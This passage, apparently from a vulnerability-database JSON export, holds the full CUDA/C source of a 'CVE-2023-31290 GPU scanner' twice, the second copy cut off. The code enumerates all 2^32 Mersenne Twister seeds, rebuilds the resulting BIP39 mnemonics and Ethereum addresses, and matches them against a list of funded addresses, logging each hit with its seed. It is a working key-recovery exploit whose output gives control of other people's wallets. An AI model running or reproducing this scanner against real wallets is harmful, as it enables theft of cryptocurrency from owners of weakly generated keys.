0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] &lt;&lt; 56) | ((uint64_t)p[1] &lt;&lt; 48) | ((uint64_t)p[2] &lt;&lt; 40) | ((uint64_t)p[3] &lt;&lt; 32) |\n         ((uint64_t)p[4] &lt;&lt; 24) | ((uint64_t)p[5] &lt;&lt; 16) | ((uint64_t)p[6] &lt;&lt; 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x &gt;&gt; 56); p[1] = (uint8_t)(x &gt;&gt; 48); p[2] = (uint8_t)(x &gt;&gt; 40); p[3] = (uint8_t)(x &gt;&gt; 32);\n  p[4] = (uint8_t)(x &gt;&gt; 24); p[5] = (uint8_t)(x &gt;&gt; 16); p[6] = (uint8_t)(x &gt;&gt; 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i &lt; 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] &gt;&gt; 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] &gt;&gt; 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i &lt; 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n &gt;= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n &gt;= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i &lt; 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key &lt; 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i &lt; 128; i++) {\n    uint8_t k = (i &lt; klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i &lt; 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j &lt; 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i &lt; 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] &gt;&gt; 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i &lt; 624; i++) {\n    uint32_t y = (mt[i] &amp; 0x80000000u) | (mt[(i + 1) % 624] &amp; 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y &gt;&gt; 1);\n    if (y &amp; 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i &lt; 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y &gt;&gt; 11;\n    y ^= (y &lt;&lt; 7) &amp; 0x9d2c5680u;\n    y ^= (y &lt;&lt; 15) &amp; 0xefc60000u;\n    y ^= y &gt;&gt; 18;\n    ent[i] = (uint8_t)(y &amp; 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] &lt;&lt; 24) | ((uint32_t)blk[4 * i + 1] &lt;&lt; 16) | ((uint32_t)blk[4 * i + 2] &lt;&lt; 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i &lt; 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] &gt;&gt; 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] &gt;&gt; 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i &lt; 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a &gt;&gt; 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w &lt; 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j &lt; 11; j++) {\n      int p = bit + j;\n      idx = (idx &lt;&lt; 1) | ((bits[p &gt;&gt; 3] &gt;&gt; (7 - (p &amp; 7))) &amp; 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k &lt; wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i &gt;= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &amp;olen) &amp;&amp; olen == 64 ? 0 : -1;\n}\nstatic int ckd_priv(secp256k1_context *ctx, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index &amp; 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  } else {\n    secp256k1_pubkey pub;\n    if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n    size_t clen = 33;\n    if (!secp256k1_ec_pubkey_serialize(ctx, data, &amp;clen, &amp;pub, SECP256K1_EC_COMPRESSED)) return -1;\n    data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n    data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  }\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (!secp256k1_ec_seckey_tweak_add(ctx, key, I)) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic void keccak256(const uint8_t *in, size_t inlen, uint8_t out[32]) {\n  size_t l = 32;\n  if (!EVP_Q_digest(NULL, \"KECCAK-256\", NULL, in, inlen, out, &amp;l) || l != 32) memset(out, 0, 32);\n}\nstatic int eth_from_seed64(secp256k1_context *ctx, const uint8_t seed[64], uint8_t addr[20]) {\n  uint8_t I[64], key[32], cc[32];\n  if (hmac_sha512_host((const uint8_t *)\"Bitcoin seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(ctx, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  secp256k1_pubkey pub;\n  if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n  uint8_t uncomp[65];\n  size_t ulen = 65;\n  if (!secp256k1_ec_pubkey_serialize(ctx, uncomp, &amp;ulen, &amp;pub, SECP256K1_EC_UNCOMPRESSED)) return -1;\n  uint8_t h[32];\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets &amp;&amp; bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i &lt; 20; i++) { out[2 + 2 * i] = h[a[i] &gt;&gt; 4]; out[3 + 2 * i] = h[a[i] &amp; 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic std::atomic g_done{0};\nstatic std::atomic g_hits{0};\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd &lt; 0) return -1;\n  struct stat st;\n  if (fstat(fd, &amp;st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  /* OpenSSL PBKDF2 of Donjon mnemonic must match GPU later. */\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  int rc = eth_from_seed64(ctx, seed, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 &amp;&amp; strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&amp;d_out, 64));\n  k_derive_seed64&lt;&lt;&lt;1, 1&gt;&gt;&gt;(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n  uint8_t addr[20];\n  eth_from_seed64(ctx, got, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu-&gt;eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok &amp;&amp; aok) ? 0 : 1;\n}\n\nstatic void process_batch(secp256k1_context *ctx, uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    secp256k1_context *tctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n#pragma omp for schedule(static)\n    for (int i = 0; i &lt; n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(tctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&amp;hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&amp;hits_mu);\n        g_hits.fetch_add(1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    secp256k1_context_destroy(tctx);\n  }\n#else\n  for (int i = 0; i &lt; n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(ctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      g_hits.fetch_add(1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n#endif\n  g_done.fetch_add((uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL &lt;&lt; 32;\n  int threads = 256;\n  if (argc &gt;= 2 &amp;&amp; !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev &lt; 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i &lt; argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") &amp;&amp; i + 1 &lt; argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") &amp;&amp; i + 1 &lt; argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") &amp;&amp; i + 1 &lt; argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") &amp;&amp; i + 1 &lt; argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") &amp;&amp; i + 1 &lt; argc) threads = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(0)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n  if (ndev &lt; 1) return 1;\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpus=%d targets=%zu\\n\", start, count, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 &lt;&lt; 18;\n#ifdef _OPENMP\n  omp_set_nested(1);\n  omp_set_max_active_levels(2);\n  g_inner_threads = threads / (ndev &gt; 0 ? ndev : 1);\n  if (g_inner_threads &lt; 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at &gt; (1ULL &lt;&lt; 32)) done_at = 1ULL &lt;&lt; 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &amp;t0);\n\n#pragma omp parallel num_threads(ndev)\n  {\n    int gpu = 0;\n#ifdef _OPENMP\n    gpu = omp_get_thread_num();\n#endif\n    CHECK_CUDA(cudaSetDevice(gpu));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&amp;d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_NONE);\n    uint64_t my_count = (done_at - start) / (uint64_t)ndev;\n    uint64_t my_start = start + (uint64_t)gpu * my_count;\n    uint64_t my_end = (gpu == ndev - 1) ? done_at : my_start + my_count;\n    for (uint64_t s = my_start; s &lt; my_end; ) {\n      int n = BATCH;\n      if ((uint64_t)n &gt; my_end - s) n = (int)(my_end - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64&lt;&lt;&gt;&gt;((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch(ctx, (uint32_t)s, n, h_seed);\n      if (gpu == 0) {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &amp;t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = g_done.load();\n        double r = done / (sec &gt; 0.001 ? sec : 0.001);\n        double eta = r &gt; 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, g_hits.load(), eta);\n      }\n      s += (uint64_t)n;\n    }\n    secp256k1_context_destroy(ctx);\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", g_hits.load());\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-04T00:00:26.599970Z"}, {"uuid": "008befb7-2551-49bf-9678-4d9d9607fd07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/39bdf8e7c7e62c1fca8b12fc511d87bd", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -&gt; BIP39-128 mnemonic -&gt; PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -&gt; keccak ETH addr -&gt; funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] &lt;&lt; 56) | ((uint64_t)p[1] &lt;&lt; 48) | ((uint64_t)p[2] &lt;&lt; 40) | ((uint64_t)p[3] &lt;&lt; 32) |\n         ((uint64_t)p[4] &lt;&lt; 24) | ((uint64_t)p[5] &lt;&lt; 16) | ((uint64_t)p[6] &lt;&lt; 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x &gt;&gt; 56); p[1] = (uint8_t)(x &gt;&gt; 48); p[2] = (uint8_t)(x &gt;&gt; 40); p[3] = (uint8_t)(x &gt;&gt; 32);\n  p[4] = (uint8_t)(x &gt;&gt; 24); p[5] = (uint8_t)(x &gt;&gt; 16); p[6] = (uint8_t)(x &gt;&gt; 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i &lt; 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] &gt;&gt; 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] &gt;&gt; 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i &lt; 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += 